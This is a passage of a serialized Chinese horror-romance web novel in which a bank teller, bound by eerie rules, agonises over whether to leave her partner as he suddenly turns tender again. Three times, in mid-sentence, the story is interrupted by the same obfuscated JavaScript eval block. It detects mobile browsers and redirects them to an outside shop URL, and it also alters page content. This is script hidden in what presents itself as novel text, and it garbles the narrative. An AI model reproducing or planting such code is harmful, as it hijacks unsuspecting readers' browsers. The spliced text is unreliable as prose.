“老张那个车，上个月被人刮了，修了两千多。” “那可不，现在修车贵。” “你们听说了吗？三单元那个老李，儿子考上大学了，请客呢。” “是吗？哪天？咱们得去随个礼。” 陈默听着，一句话都插不进去。 她继续低头吃饭。 王志强在旁边，喝得脸都红了，嗓门越来越大。 “我跟你们说，现在的工程，不好做。甲方拖款，工人要钱，夹在中间难啊。” “强哥你还能难？你那么大老板。” “大什么大，也就混口饭吃。” “谦虚了谦虚了。” 陈默听着这些话，觉得很陌生。 王志强在外面，原来是这样的？ 她不知道。 三年了，她从没见过他和邻居来往。 今天第一次见。 七 不知道聊到哪儿了，王志强的声音突然大了起来。 “我媳妇，银行的！” 陈默筷子一顿。 她抬起头，看着他。 他满脸通红，眼睛眯着，正跟旁边的人吹牛。 “柜员怎么了？柜员也有门路！我跟你们说，缺钱给她说，让她给你们贷款！” 陈默脑子里“嗡”的一声。 第三条规则：如果他在酒桌上吹牛说“我女朋友是银行的，有的是钱”，三天内必须提分手。 三天内。 必须提分手。 她盯着王志强，想从他脸上看出点什么。 但他表情自然，和任何一个喝多了吹牛的男人一样。没有发光，没有那个贴上去的笑，没有半点古怪。 就是正常。 正常得不能再正常。 旁边的人笑着起哄。 “嫂子，那以后贷款就找你了啊！” “对对对，嫂子可得帮忙！” 陈默勉强笑了一下。 “我……我就是柜员，贷款不归我管。” “哎呀，柜员也认识人嘛，牵个线就行！” 陈默不知道说什么。 王志强在旁边笑。 “她就这样，内向，不爱说话。” 几个人点点头，继续喝酒。 陈默低着头，盯着碗里的饭。 脑子里乱成一团。 三天内必须提分手。 她怎么办？ 八 又坐了一会儿，陈默实在待不下去了。 她站起来。 “我有点不舒服，先回去了。” 王志强抬头看她。 “怎么了？” “没事，就是有点累。” 他看了她两秒。 “行，那你先回。” 陈默跟老冯两口子打了个招呼，走了。 门关上的那一刻，她靠在墙上，深吸了一口气。 走廊里很安静。声控灯亮了一下，又灭了。 她站了一会儿，然后上楼，回家。 开门，开灯，换鞋。 坐在沙发上，盯着茶几。 脑子里反复响着那句话。 “我媳妇是银行的，有的是钱。” 三天内。 必须提分手。 她掏出手机，看了一眼日期。 今天算第一天。 还有三天。 三天后，她必须提分手。 然后呢？ 九 陈默坐在沙发上，想了很多。 如果提分手，王志强会怎么样？ 他会同意吗？ 会发火吗？ 会……露出那个样子吗？ 她不知道。 她只记得规则第三条说：三天内必须提分手。 没说提了之后会怎么样。 没说能不能成功。 只说必须提。 她想起那个老人，那张纸条，那些规则。 第一条，她遵守了。数到三十再开门。 第二条，她违反了。反驳了那句“那你别要啊”。 然后他变了。 现在第三条来了。 如果她遵守，会发生什么？ 如果她违反呢？ 她不敢想。 十 但比这些更可怕的，是另一个问题。 提了分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387628|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手之后，她怎么办？ 她现在住的房子，是王志强的。如果分手了，她必须搬出去。 搬去哪儿？ 租房？ 她算过很多次了。每个月工资六千出头，房租至少两千五，水电燃气两百，交通两百，吃饭一千五，电话费一百，日用品三百——刚好够，一分不剩。 但那是她一个人住的情况。 现在她和王志强一起住，不用付房租。 如果分手了，她得自己付。 两千五的房租，她付得起吗？ 付得起。 但付完之后，剩下三千五。 三千五够什么？ 吃饭，交通，日用品——刚好。 一分不剩。 不能生病，不能有事，不能有任何意外。 而且，租房要押一付三。 她拿不出那么多钱。 十一 还有工作。 周行长一直在催那个对公户。 王志强的公司，要在她们行开户。 如果分了手，那个户肯定没了。 周行长会怎么对她？ 她不敢想。 银行的工作，她干了五年。 五年了，还是柜员。 升不上去，不是因为没能力，是因为没资源。 在银行，资源就是一切。 谁手里有大客户，谁就能升。 她没有。 她只有一个王志强。 一个可能不是人的王志强。 但如果连他都没了，她还有什么？ 十二 还有妈妈。 妈妈早就说了，当她死了。 如果她回去，妈妈会怎么说？ “我早就告诉过你。” “你活该。” “还有脸回来？” 她能承受吗？ 她不知道。 十三 陈默坐在沙发上，坐了很久。 窗外的月亮很亮，照进来，在地上切出一条光。 她盯着那条光，脑子里反复算那笔账。 工资六千。 房租两千五。 水电两百。 交通两百。 吃饭一千五。 话费一百。 日用品三百。 剩一千。 一千块，够干什么？ 买件衣服就没了。 生个病就没了。 出点什么事就没了。 她在这个城市待了十年，存款不到两万。 两万能干什么？ 交三个月房租？ 买张回老家的车票？ 她不知道。 她只知道，她不敢算下去了。 十四 凌晨三点，门响了。 王志强回来了。 陈默坐在沙发上，没动。 他走进来，看了她一眼。 “还没睡？” “睡不着。” 他没说话，走进卧室，躺下。 过了一会儿，他喊她。 “陈默。” 她走进去。 他躺在床上，看着她。 “过来。” 她走过去，躺下。 刚躺下，他的手就伸过来了。 从背后抱住她。 满身的酒气，还有那股味道——油油的，腻腻的，甜酸甜酸的。 他的手在她身上抚摸。 她僵住了。 她已经记不得上一次是什么时候了。 很久很久以前。 久到她都快忘了。 她不敢动。 就那么躺着，让他摸。 脑子里反复在想那些问题。 提分手，还是不提？ 提了，她怎么办？ 不提，规则怎么办？ 她闭上眼。 王志强在动。 凉的，沉的，像一块石头在她身上移动。 她忍着。 一直忍着。 忍到那只手停下来。 忍到一切结束。 忍到天亮。 十五 早上，陈默起来的时候，王志强已经不在了。 她坐在床边，盯着自己的手。 那只手，昨晚被他摸过的地方，有一点凉。 不是心理作用，是真的凉。 她搓了搓，还是凉。 洗了洗，还是凉。 她站在卫生间里，看着镜子里的自己。 那双眼睛，更亮了。 那点亮，现在像两颗小灯泡，在眼眶里发光。 她盯着那双眼睛，看了很久。 然后她想起那个问题。 提分手，还是不提？ 她不知道。 但她知道，今天算第二天。 还有两天。 --- 第十六章完 17. 第十七章 像回到三年前 第十七章三天（续） 一 陈默醒来的时候，发现自己躺在王志强怀里。 她愣了一下。 已经多久没有这样了？ 她记不清了。 三年里，他们睡在一张床上，但中间永远隔着一个人的距离。他背对着她，她背对着他，像两个陌生人被迫挤在一个房间里。 但现在，她枕着他的胳膊，他的另一只手搭在她腰上，呼吸均匀，还没醒。 她不敢动。 就那么躺着，看着他的脸。 窗帘没拉严，冬天的阳光从缝隙里漏进来，落在他脸上，把那层皮肤照得有点发亮。 她看着那张脸。 高挺的鼻梁，因为牙齿不齐有点微凸的嘴，因为中年发福和脖子连在一起的下巴。个头不高，头很小，脸圆圆的。 这张脸，她看了三年。 但此刻看着，突然想起刚认识的时候。 那时候他还没有现在这么胖。下巴是三层，不是连成一片。笑起来牙齿那里看起来很滑稽，但眼睛里有光，自信的光芒，神采奕奕。 那时候他说话很幽默，总是逗得她哈哈大笑。 那时候他牵她的手，会把她手装在自己兜里。 那时候…… 陈默鼻头一酸。 眼泪没忍住，滑了下来。 王志强动了动。 他迷迷糊糊地睁开眼，看见她在哭，愣了一下。 然后他伸出手，把她搂进怀里。 “宝贝，怎么哭了？” 陈默把脸埋在他胸口，没说话。 他揉着她的头发，下巴抵在她头顶。 “是不是想妈妈了？” 陈默没说话。 她不知道该说什么。 她不知道自己为什么哭。 也许是因为太久没被他这样抱过了。 也许是因为太久没听到“宝贝”这两个字了。 也许是因为她突然想起来，三年前的自己，曾经以为自己是天底下最幸福的女人。 二 “起床收拾收拾。”王志强说，“好久没逛街了，今天带你去逛逛。” 陈默抬起头，看着他。 “逛街？” “嗯。”他坐起来，伸了个懒腰，“咱们在外面吃个饭，你最爱的辣子鸡。” 陈默看着他，说不出话。 辣子鸡。 她最爱吃辣子鸡。 他居然还记得。 三 商场门口人很多，周末，又是年底，到处都是拎着大包小包的人。 王志强停好车，走过来，很自然地牵起陈默的手。 陈默愣了一下。 那只手，是温的。 不是晚上那种凉，是正常的、活人的温度。 她低头看着那只手，被他牵着往前走。 他的手很大，把她的手整个包在里面。 她想起刚在一起的时候，每次出门，他都会把她的手装在自己兜里。冬天冷，他的手就是她的暖炉。 不知道从什么时候开始，他不再牵她的手了。 不知道从什么时候开始，他眼里不再有她了。 但现在，他又牵了。 陈默跟在他后面，看着他的背影。 那个背影，和以前一样，又不一样。 她说不上来。 四 一进商场，王志强就看见了彩票站。 “走，刮几张去。” 他拉着陈默走过去，掏出手机扫码，买了五张刮刮乐。 “来，你刮。”他把卡片递给她。 陈默接过卡片，看着手里那些花花绿绿的纸。 她想起刚认识的时候，约会经常来刮刮乐。那时候陈默很穷，但又总做着暴富的梦，她相信自己一定会中奖的，只是缺个机会。刮出十块钱就能高兴半天，刮出五十块就像中了头奖，王志强为了哄她开心，成为了彩票站的常客。 那时候多简单。 她拿着卡片，慢慢刮开。 第一个，没中。 第二个，也没中。 第三个，中了十块。 王志强在旁边笑。 “行啊，回本了。” 第四个，没中。 第五个，也没中。 王志强接过卡片，看了一眼，扔进垃圾桶。 “走吧，喝奶茶去。” 五 奶茶店在商场三楼，排了很长的队。 王志强站在队尾，陈默站在他旁边。 她看着他的侧脸。 以前他总是不让她喝奶茶，说糖分太高，说会长胖，说对身体不好。后来她喝得多了，他也跟着喝。再后来，她自己点外卖的时候，偶尔也会给他带一杯。 他早就被同化了。 “两杯柠檬红茶，少冰少糖。”他对店员说。 然后回头看她。 “还是少冰少糖对吧？” 陈默点点头。 他还记得。 他居然还记得。 奶茶做好，他接过两杯，把其中一杯递给她。 她接过来，喝了一口。 凉的，甜的，还有一点柠檬的酸涩。 她很久没喝过这么好喝的奶茶了。 六 拿上奶茶，王志强牵着她的手，往商场里面走。 走着走着，陈默发现不对。 这是往金店走的方向。 她停住脚步。 “去哪儿？” 王志强回头看她，嘴角带着笑。 “金店。” “去金店干嘛？” 他没回答，拉着她继续走。 走到 DBE 门口，他才停下来。 “这次出差，账要回来了。”他说，“走，给你买个金镯子。” 陈默愣住了。 金镯子？ “不用，”她下意识拒绝，“金子现在太贵了，别买了。” 王志强看着她，嘴角含笑。 那个笑，她认识。 是得意的，狡黠的，像小孩子偷到了糖的那种笑。 是他以前经常有的笑。 “走。”他说。 他拽着她，往金店里面走。 陈默被他拉着，看着他的背影。 那个背影，她看了三年。 但此刻看着，突然像回到了三年前。 三年前的一个普普通通的下午。 那时候她还年轻，还相信爱情，还觉得自己是全世界最幸福的女人。 她笑了。 笑容重新绽放在她那张早已贫瘠麻木的脸上，笑的眉眼弯弯。 七 金店的灯光很亮，照得人睁不开眼。 售货员迎上来，笑容满面。 “两位想看看什么？” “金镯子。”王志强说，“给她的。” 售货员看看陈默，又看看王志强，笑容更深了。 “这边请，我们刚到了新款。” 她领着他们到柜台前，从里面拿出几个盒子，打开，一字排开。 金灿灿的镯子，在灯光下闪闪发光。 陈默看着那些镯子，有点眼花。 王志强在旁边问：“喜欢哪个？” 她摇摇头。 “都太贵了。” “别管贵不贵，喜欢哪个？” 她看了一圈，指着最细的那只。 “这个吧，简单点。” 王志强看了一眼，对售货员说：“拿出来试试。” 售货员拿出那只镯子，帮陈默戴上。 细了一圈，素面的，没有花纹，很秀气。 陈默抬起手腕，看那只镯子。 金灿灿的，衬得皮肤很白。 “好看吗？”她问王志强。 他看着她的手腕，点点头。 “好看。” 然后又对售货员说：“有没有粗一点的？” 售货员又拿出几只。 最后，王志强挑了一只最粗的双圈卡地亚款。 “就这个。” 陈默想说太贵了，但看着他脸上的笑，话到嘴边又咽了回去。 他开心就好。 八 从金店出来，陈默手上多了一只金镯子。 沉甸甸的，坠得手腕有点酸。 两个圈相互交叠碰撞，发出清脆的响声，她舍不得摘。 王志强牵着她的手，往电梯走。 “饿了吧？吃饭去。” 陈默点点头。 电梯下行的时候，她看着电梯壁里的自己。 手腕上那只镯子，金灿灿的。 她抬起手，摸了摸。 是真的。 不是梦。 她转过头，看着王志强。 他站在旁边，拿着手机在看什么，脸上带着笑。 那个笑，是放松的，是自在的，是她很久没见过的。 她突然想问一个问题。 但她没问。 她怕一问，这一切就碎了。 九 辣子鸡店在商场四楼， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387629|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是家新疆菜。 王志强点了辣子鸡炒皮带面、爆炒面肺子、青椒变蛋、烤肉还有两份石河子凉皮。 “够了吧？都是你爱吃的。”他问。 陈默点点头。 “够了，太多了。” 菜上来，热气腾腾的。 她夹了一块辣子鸡，放进嘴里。 辣的，麻的，香得她眼泪都快出来了。 很久没吃过这么好吃的辣子鸡了。 不，不是很久没吃过。 是和同一个人吃，很久没这么开心过了。 她吃着，看着他。 他也在吃，吃得很香，偶尔抬头看她一眼，笑一下。 和以前一样。 和三年以前一样。 十 吃完饭，天已经黑了。 商场里灯全亮了，到处都是人。 王志强牵着她的手，慢慢往外走。 路过一家玩具店，他停下来。 “要不要买个娃娃？” 陈默愣了一下。 “什么？” 他指着橱窗里的毛绒玩具。 “你不是喜欢那个吗？” 她顺着他的手看过去。 橱窗里摆着一只很大的熊，棕色的，抱着一个爱心。 她想起刚在一起的时候，他送过她一只小熊。后来搬家弄丢了，她伤心了好几天。 “不要了，”她说，“太占地方。” 他看她一眼。 “真的不要？” 她点点头。 他没再说什么，牵着她的手继续往前走。 十一 回到车上，陈默靠在椅背上，看着窗外的夜景。 车开动，霓虹灯从窗外流过，红的，绿的，黄的，像一条彩色的河。 她抬起手，看着手腕上的金镯子。 金灿灿的，在车里昏暗的光线里，还是亮得晃眼。 “喜欢吗？”王志强问。 她转头看他。 他看着前方，开车，脸上带着笑。 “喜欢。”她说。 他笑了一下。 车继续往前开。 陈默靠回椅背，看着窗外。 脑子里乱七八糟的。 今天的一切，都像做梦。 他牵她的手，给她买奶茶，带她吃辣子鸡，送她金镯子。 和以前一样。 和三年以前一样。 但三天…… 她突然想起那个规则。 三天内必须提分手。 今天算第二天。 明天，是最后一天。 十二 回到家，陈默洗漱完，躺在床上。 王志强洗完澡出来，躺到她旁边。 他伸出手，把她搂进怀里。 “今天开心吗？”他问。 陈默点点头。 “开心。” 他揉着她的头发。 “以后多带你出去。” 她没说话。 他把下巴抵在她头顶。 “以前是我不好，太忙了，顾不上你。” 陈默愣了一下。 他继续说：“以后不会了。” 她抬起头，看着他。 在黑暗里，看不清他的表情。只能看见一个轮廓。 那个轮廓，和以前一样。 她张了张嘴。 想说什么，又不知道该说什么。 最后只是把脸埋进他怀里。 他抱着她，轻轻拍着她的背。 像哄小孩一样。 她闭上眼。 脑子里那个问题，越来越响。 明天，最后一天。 她该怎么办？ 十三 不知道过了多久，陈默睡着了。 她做了一个梦。 梦里回到三年前，他们刚在一起的时候。他牵着她的手，走在街上，阳光很好，她觉得自己是全世界最幸福的女人。 然后画面一转，他站在门口，眼睛发着光，脸上爬满了虫子。 她惊醒过来。 浑身冷汗。 王志强还在旁边睡着，呼吸均匀。 她慢慢转过头，看着他的脸。 黑暗里，那张脸，很平静。 没有发光，没有虫子，什么都没有。 就是一张普通的脸。 她看了很久。 然后她躺回去，闭上眼。 但再也睡不着了。 --- 第十七章完 18. 第十八章 就算违反规则，她也认了 第十八章就算违反规则，她也认了 一 陈默醒来的时候，阳光已经照满了整个卧室。 她眨了眨眼，适应了一下光线，然后转过头。 王志强躺在旁边，还没醒。 他侧着身，脸朝着她这边，呼吸均匀。阳光落在他脸上，连那些细小的皱纹都看得清清楚楚。 她看着他，一动不动。 第三天了。 今天，是第三天。 规则说，三天内必须提分手。 她张了张嘴。 那个字，在喉咙里卡着，怎么也出不来。 “分”字很简单，一个音节，嘴唇一碰就能发出来。 但她发不出来。 他就躺在那儿。 呼吸着。 活着。 像个正常人一样。 她看着他的脸。 那张脸，昨晚看着还那么正常。高挺的鼻梁——虽然有点塌，但还算挺；微凸的嘴——因为牙齿不齐，闭上嘴的时候有点鼓；连成一片的下巴——中年发福，早就看不出三层了。 普通的中年男人，普通的样貌。 和商场里、地铁上、饭馆里那些四十多岁的男人没什么两样。 但此刻看着，她突然想起那些事。 那些发光的眼睛。 那些从嘴里爬出来的虫子。 那股油油的、腻腻的、甜酸甜酸的味道。 那个藏在床垫里的心跳。 她闭上眼。 再睁开。 他还在这儿。 还是这张脸。 还是这个躺在阳光里的男人。 阳光照在他脸上，甚至能看见他眼角的细纹，眉毛里有两根特别长的，鼻翼两侧的毛孔有点粗。 这么真实。 这么具体。 这么……像个人。 她该说什么？ “我们分手吧”？ 五个字。 说出来，就结束了。 三年，就结束了。 她张着嘴，那个字还是出不来。 二 王志强动了动。 他翻了个身，胳膊搭过来，压在她身上。然后他睁开眼，迷糊了几秒，看见她在看他。 笑了。 那个笑，是刚睡醒的那种笑，迷糊的，软的，没有防备的。 “醒了？”他声音有点哑，带着刚睡醒的那种沙沙的质感。 陈默点点头。 他伸出手，把她搂过去，在她额头上亲了一下。 嘴唇是温的。 正常的温度。 “饿不饿？” 她摇摇头，又点点头。 他笑了。 “到底饿不饿？” “有点。” 他坐起来，伸了个大大的懒腰，胳膊举过头顶，腰往前挺，发出一声舒服的闷哼。 “冰箱都空了，”他说，“我昨天找人从农村带了两只土鸡，中午给你炖了。现在去农贸市场买点菜回来。” 他下床，走进卫生间。 陈默躺在床上，听着里面的水声。 水哗哗响着。 正常的，水的声音。 不是那种只有水冲在碗上的声音，是真正的、人洗澡的水声——水打在皮肤上的声音，人转身时带起的水声，偶尔还有他哼歌的声音，断断续续的，听不清是什么调子。 她愣了一下。 她很久没听见这个声音了。 很久很久。 她抬起手，看着手腕上的金镯子。 昨天买的。 他送的。 金灿灿的，在早晨的光线里闪着柔和的光。 她摸着那个镯子，想起昨天的一切。 牵她的手。 买奶茶。 刮刮乐。 辣子鸡。 还有那个得意的、狡黠的笑。 像三年前一样。 像他们刚在一起的时候一样。 她闭上眼。 如果时间能停在这儿，该多好。 三 农贸市场人很多。 周末，又是年底，到处都是拎着菜篮子的大爷大妈，推着小车的商贩，跑来跑去的小孩。 王志强牵着陈默的手，在人群里穿行。 他的手，是温的。 正常的温度。 他的手心有一点汗，滑滑的，但她没松开。 “想吃什么？”他回头问她，声音得大一点，才能盖过周围的嘈杂。 陈默看着满市场的菜，眼睛都不知道往哪儿放。一堆一堆的青菜，红的辣椒，紫的茄子，绿的黄瓜，还有活鱼在盆里扑腾，溅出水花。 “随便。” “随便最难做。”他笑，露出一口不太整齐的牙，“说个具体的。” 她想了想。 “想吃藕。” “行，买藕。” 他拉着她走到卖藕的摊前。一堆藕堆在那儿，沾着泥，长短不一。他蹲下来，一个一个地挑，拿起来看看，捏捏，放回去，再拿另一个。 “要哪样的？”摊主问。 “炖汤的，要粉的。” “这两节好，你看这节短的，最粉。” 他接过来看了看，又捏了捏，点点头。 “就这两节。” 称了，付钱，装袋。 他站起来，把袋子递给她拎着。 “还要什么？” “你看着买。” 他又买了一把青菜——嫩嫩的，叶子还带着水珠；几个西红柿——红彤彤的，摸着有点硬，他说这种的好炒；一把葱——翠绿翠绿的；一块姜——不大不小，皮薄。 走到卖咸菜的摊前，他停下来。 一个老婆婆坐在那儿，穿着旧棉袄，戴着毛线帽，面前摆着几个大盆。萝卜干，雪里蕻，酸豆角，还有陈默最爱吃的糖蒜。 “要不要买点糖蒜？”他问。 陈默点点头。 他蹲下来，和老婆婆聊起来。 “婆婆，这糖蒜怎么卖的？” “十块一斤，自己家腌的，好吃得很。”老婆婆说话带着口音，但能听懂。 “能尝不？” “能尝能尝。” 老婆婆拿了个小碟子，夹了一颗糖蒜递给他。 他接过来，咬了一小口，嚼了嚼。 “嗯，不错。”他把剩下的递给陈默，“你尝尝。” 陈默接过来，咬了一口。 甜的，酸的，脆的。 好吃。 他看见她点头，笑了。 “来一斤。” 老婆婆称了，装袋，递给他。 他付了钱，站起来。 看见旁边有卖橘子的，又走过去。 “橘子甜不甜？” “甜得很，你尝一个。” 他拿起一个，剥开，掰了一瓣递给陈默。 她放进嘴里。 甜的。 他看着她，等她的反应。 她点点头。 他又笑了。 “来三斤。” 陈默站在旁边，看着他。 他和老婆婆说话的样子，和商贩讨价还价的样子，挑橘子时认真的样子——和任何一个来买菜的中年男人一样。普通，平常，没什么特别。 但看着看着，她眼眶有点酸。 多久没这样了？ 多久没和他一起逛过菜市场了？ 刚在一起的时候，他们经常来。那时候他租的房子小，厨房也小，但她喜欢做饭，他就陪她来买菜。她挑菜，他拎袋子。她问他想吃什么，他都说随便。后来她就不问了，按自己喜欢的买。 再后来，不知道从什么时候开始，就变成她一个人来了。 他来不了，在忙。 再再后来，她也不怎么做饭了。 买菜？点外卖就行了。 方便，快捷，不用洗碗。 但此刻，站在这嘈杂的农贸市场里，闻着各种味道混在一起的复杂气息，听着四面八方传来的讨价还价声，看着他和商贩认真地挑着菜—— 她突然觉得，这才是生活。 真正的，有烟火气的生活。 四 从农贸市场出来，两个人手里都拎满了东西。 王志强腾出一只手，牵着她。 “回家做饭。” 陈默点点头。 回家的路上，阳光很好。 十二月的阳光，不热，但暖洋洋的，照在身上很舒服。路边的树上还挂着几片枯叶，风一吹，哗啦啦响。 她走在他旁边，被他牵着。 看着两个人的影子在地上拉得很长。 他走得快一点，她跟得慢一点，但手一直牵着。 像一对恩爱的夫妻。 买菜回家，做饭吃饭，普通得不能再普通的周末。 她突然想，如果时间能停在这一刻，该多好。 五 回到家，王志强钻进厨房，开始忙活。 陈默换了衣服，先站在厨房门口看了一会儿。 他把菜一样一样从袋子里拿出来，藕放在水池边，青菜放在篮子里，西红柿放在台面上。然后系上围裙——那条围裙是她买的，灰蓝色，前面印着一只卡通猫，他一直嫌弃，但今天自己系上了。 他从冰箱里拿出那两只土鸡。 已经杀好处理过的，装在保鲜袋里。他打开袋子，把鸡拿出来，放在案板上。 然后拿起刀。 砰，砰，砰。 剁骨头的声音，很有节奏。 陈默看了一会儿，转身开始打扫卫生。 客厅的地板好几天没拖了，她拿了拖把，从里到外拖了一遍。拖到沙发旁边的时候，她停下来，看着那个坑。 那个坑，已经很浅了。 不注意看，根本看不出来。 她站在那儿，看着那个坑。 昨晚，他们还一起坐在这儿看电视。 他搂着她，她靠在他身上。 和以前一样。 和三年以前一样。 她蹲下来，伸手摸了摸那个地方。 软的，正常的，和旁边一样。 什么都没有。 也许真的什么都没有。 也许那些事，真的是她压力太大产生的幻觉。 也许她根本没有看见那些虫子，没有闻到那个味道，没有见过那两只发光的眼睛。 也许一切都是一场很长很长的噩梦。 现在，梦醒了。 她站起来，继续拖地。 拖完客厅，又擦了茶几，把沙发的垫子拍了拍，把茶几上的遥控器摆正，把窗帘拉开，让更多的阳光照进来。 整个客厅，亮堂堂的，干干净净的。 她站在客厅中央，看着这个家。 挺好的。 真的挺好的。 六 拖完地，她又去收拾卧室。 床单该换了，她扯下来，扔进洗衣机。枕头拍松，被子叠好，床头柜上的东西摆整齐。 那个抽屉，她打开看了一眼。 那瓶液体还在，压在一叠旧衣服下面。 她盯着那个小瓶子，看了几秒。 然后她关上抽屉。 不看它。 就当它不存在。 她走出卧室，又去收拾卫生间。 洗手台上的瓶瓶罐罐摆好，镜子擦干净，地拖干。 镜子里的自己，她看了一眼。 眼袋没那么重了。痘也消了一些。脸色还是不好，但比之前强。 最要紧的是—— 眼睛里的那点亮，淡了。 很淡很淡，不仔细看，根本看不见。 她盯着那双眼睛，看了很久。 也许真的是病。 也许过几天就全好了。 她低下头，继续收拾。 七 收拾完卫生，她走到厨房门口。 王志强还在忙。 锅里的油滋滋响着，香味飘出来，是鸡肉和辣椒的香味。他站在灶台前，拿着锅铲在翻炒，动作很熟练。 她看着他的背影。 那个背影，在忙碌着。 他系着那条卡通猫的围裙，袖子挽到手肘，露出小臂。小臂上有一道疤，是前年不小心划的，她还记得那天他回来，手上包着纱布，说是工地上不小心。 现在那道疤已经很淡了，要仔细看才看得见。 他炒菜的时候，身体会微微前倾，脖子上的肉会堆起来，形成一道一道的褶子。后脑勺的头发有点稀疏，但还没秃，只是发际线比三年前高了点。 她看着那个背影，心里暖暖的。 这个男人，在给她做饭。 两只土鸡，从农村带回来的，专门给她炖的。 她站在门口，看着那个忙碌的背影，看了很久。 然后她走过去，从后面抱住他。 他愣了一下。 “怎么了？” 她把脸贴在他背上，没说话。 他笑了，继续炒菜。 “再抱一会儿，菜该糊了。” 她还是没松手。 他关了火，转过身，把她搂进怀里。 “今天怎么这么黏人？” 她埋在他胸口，闷闷地说：“就是想抱。” 他揉着她的头发，下巴抵在她头顶。 “抱吧，抱多久都行。” 她就这么抱着他，抱了很久。 八 吃饭的时候，王志强给她夹了好多鸡肉。 “多吃点，土鸡有营养。” 陈默低头吃着，没说话。 他坐在对面，自己也吃着，偶尔抬头看她一眼，笑一下。 阳光从窗户照进来，落在他身上，落在她身上，落在饭桌上。 一切都那么正常。 那么美好。 她吃着吃着，突然想起那个问题。 今天，是第三天。 她该说分手了。 她停下筷子，看着他。 他抬起头。 “怎么了？” 她张了张嘴。 “没……没事。” 他又笑了。 “吃吧，吃完还有汤。” 她低下头，继续吃。 但那些鸡肉，什么味道都尝不出来了。 九 吃完饭，王志强去洗碗。 陈默坐在沙发上，听着厨房里的水声。 脑子里两个声音在打架。 一个说：说啊，今天最后一天了。规则就是规则，你忘了上次违反规则之后发生什么了吗？那些虫子，那个味道，那双发光的眼睛——你忘了？ 另一个说：可是现在多好啊。他变回来了，和以前一样了。那些事，也许都是你压力太大产生的幻觉。也许根本没有什么规则，没有什么怪物，都是你想象出来的。 一个说：那你的眼睛呢？你眼睛里的那点亮呢？现在淡了，但之前确实亮过。那也是幻觉吗？ 另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387630|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个说：也许是病呢？也许是没睡好呢？也许是那段时间太累了呢？现在不是好了吗？ 一个说：你敢赌吗？赌那些事都是假的？赌他永远不会再变回去？ 另一个说：你敢分吗？分了你怎么办？你去哪儿？你一个人能活吗？ 一个说：可是—— 另一个说：别说了。你看现在多好。他给你做饭，陪你逛街，送你金镯子。你想要的，不就是这个吗？ 陈默闭上眼。 她不敢。 她不敢赌，也不敢分。 她只想让这一刻，永远停在这儿。 十 王志强洗完碗，走过来，坐到她旁边。 伸手把她搂进怀里。 “想什么呢？” 陈默靠在他胸口，听着他的心跳。 咚，咚，咚。 正常的，人的心跳。 “没想什么。”她说。 他揉着她的头发。 “下午干嘛？” 她摇摇头。 “不知道。” “那就在家待着？看电视？” “好。” 他拿起遥控器，打开电视。 随便找了个电影，放了起来。 陈默靠在他身上，看着电视。 屏幕上的人在说话，在动，但她什么都没看进去。 脑子里全是那个问题。 说，还是不说？ 分，还是不分？ 十一 她想起小时候。 她出生在一个很传统的家庭。 爸爸是工人，妈妈是厂里的会计。两个人都是老实本分的人，但在一起就是过不好。为钱吵，为孩子吵，为一切能吵的事吵。 她从小就学会了看脸色。 爸妈不开心的时候，她就不说话，躲在房间里，假装写作业。吃饭的时候，低着头，不敢看他们。有时候吵得凶了，她就捂着耳朵，躲在被子里哭。 她从来没听过爸妈说“我爱你”。 从来没被爸妈抱过。 从来没感受过那种“被爱”是什么感觉。 妈妈心情好的时候，会摸摸她的头，说“听话”。但那种摸，是应付的，是机械的，像完成任务一样。 爸爸更不会表达。他下班回来，就是吃饭，看电视，睡觉。和她说话，从来不超过三句。 她以为，这就是正常的。 所有的家，都是这样的。 后来长大了，谈恋爱了，遇到王志强。 一开始他多好啊。 幽默，自信，眼睛里全是光。 他逗她笑，牵她的手，把她手装在自己兜里。 他会在她难过的时候抱她，在她累的时候给她捏肩，在她饿的时候带她去吃好吃的。 他会说“我想你了”，会说“你真好看”，会说“有你在真好”。 她第一次知道，原来被人爱是这种感觉。 暖暖的，软软的，像泡在温水里。 她觉得，这就是爱吧。 终于有人爱她了。 终于有人愿意抱她了。 她不想放手。 她不能放手。 十二 电影放完，又开始放另一个。 王志强换了几个台，最后停在一个综艺节目上，罐头笑声一阵一阵的。 陈默靠在他身上，看着那些人在屏幕上又唱又跳。 她突然开口。 “王志强。” “嗯？” “你会一直对我好吗？” 他愣了一下，低头看她。 “怎么突然问这个？” “就是想问。” 他看着她，看了几秒。 然后笑了。 “会。” 就一个字。 陈默看着他，等他继续说。 但他没继续说。 就那一个字。 会。 她不知道这个“会”是真的还是假的。 但她决定信。 十三 晚上，他们又一起做饭。 她洗菜，他切菜。她打鸡蛋，他炒菜。两个人挤在小小的厨房里，转个身都会碰到对方。 